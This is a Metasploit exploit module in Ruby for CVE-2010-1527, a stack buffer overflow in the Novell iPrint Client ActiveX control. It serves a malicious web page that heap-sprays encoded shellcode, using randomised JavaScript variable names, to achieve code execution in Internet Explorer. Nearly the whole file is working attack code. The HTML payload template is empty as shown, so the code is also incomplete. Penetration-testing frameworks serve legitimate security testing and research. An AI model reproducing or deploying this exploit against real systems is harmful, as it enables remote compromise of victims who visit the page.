## # $Id: novelliprint_callbackurl.rb 10429 2010-09-21 18:46:29Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## ## # novelliprint_callbackurl.rb # # Novell iPrint Client ActiveX Control call-back-url Buffer Overflow exploit for the Metasploit Framework # # Exploit successfully tested on the following platforms: # - Novell iPrint Client 5.40 on Internet Explorer 7, Windows XP SP3 # - Novell iPrint Client 5.42 on Internet Explorer 7, Windows XP SP3 # - Novell iPrint Client 5.42 on Internet Explorer 7, Windows Vista SP2 # # ienipp.ocx version tested: # File Version: 5.4.0.0 and 5.4.2.0 # ClassID: 36723F97-7AA0-11D4-8919-FF2D71D0D32C # RegKey Safe for Script: True # RegKey Safe for Init: True # KillBitSet: False # # References: # - CVE-2010-1527 # - OSVDB 67411 # - http://secunia.com/secunia_research/2010-104/ - Original advisory by Carsten Eiram, Secunia Research # - http://www.exploit-db.com/exploits/15042/ - MOAUB #19 exploit # - http://www.exploit-db.com/moaub-19-novell-iprint-client-browser-plugin-call-back-url-stack-overflow/ - MOAUB #14 binary analysis # - http://www.rec-sec.com/2010/09/21/novell-iprint-callbackurl-buffer-overflow-exploit/ - Metasploit exploit by Trancer, Recognize-Security # # Trancer # http://www.rec-sec.com ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Novell iPrint Client ActiveX Control call-back-url Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow in Novell iPrint Client 5.42. When sending an overly long string to the 'call-back-url' parameter in an op-client-interface-version action of ienipp.ocx an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'Trancer '$Revision: 10429 $', 'References' => [ [ 'CVE', '2010-1527' ], [ 'OSVDB', '67411'], [ 'URL', 'http://secunia.com/secunia_research/2010-104/' ], # Carsten Eiram, Secunia Research [ 'URL', 'http://www.exploit-db.com/exploits/15042/' ], # MOAUB #19 ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP0-SP2 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ] ], 'DisclosureDate' => 'Aug 20 2010', 'DefaultTarget' => 0)) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) # Re-generate the payload. return if ((p = regenerate_payload(cli)) == nil) # Encode the shellcode. shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Setup exploit buffers nops = Rex::Text.to_unescape([target.ret].pack('V')) ret = [target.ret].pack('V') ret = ret * 250 blocksize = 0x40000 fillto = 500 offset = target['Offset'] # ActiveX parameters clsid = "36723F97-7AA0-11D4-8919-FF2D71D0D32C" # Randomize the javascript variable names ienipp = rand_text_alpha(rand(100) + 1) j_shellcode = rand_text_alpha(rand(100) + 1) j_nops = rand_text_alpha(rand(100) + 1) j_ret = rand_text_alpha(rand(100) + 1) j_headersize = rand_text_alpha(rand(100) + 1) j_slackspace = rand_text_alpha(rand(100) + 1) j_fillblock = rand_text_alpha(rand(100) + 1) j_block = rand_text_alpha(rand(100) + 1) j_memory = rand_text_alpha(rand(100) + 1) j_counter = rand_text_alpha(rand(30) + 2) html = %Q|

| print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response(cli, html, { 'Content-Type' => 'text/html' }) # Handle the payload handler(cli) end end

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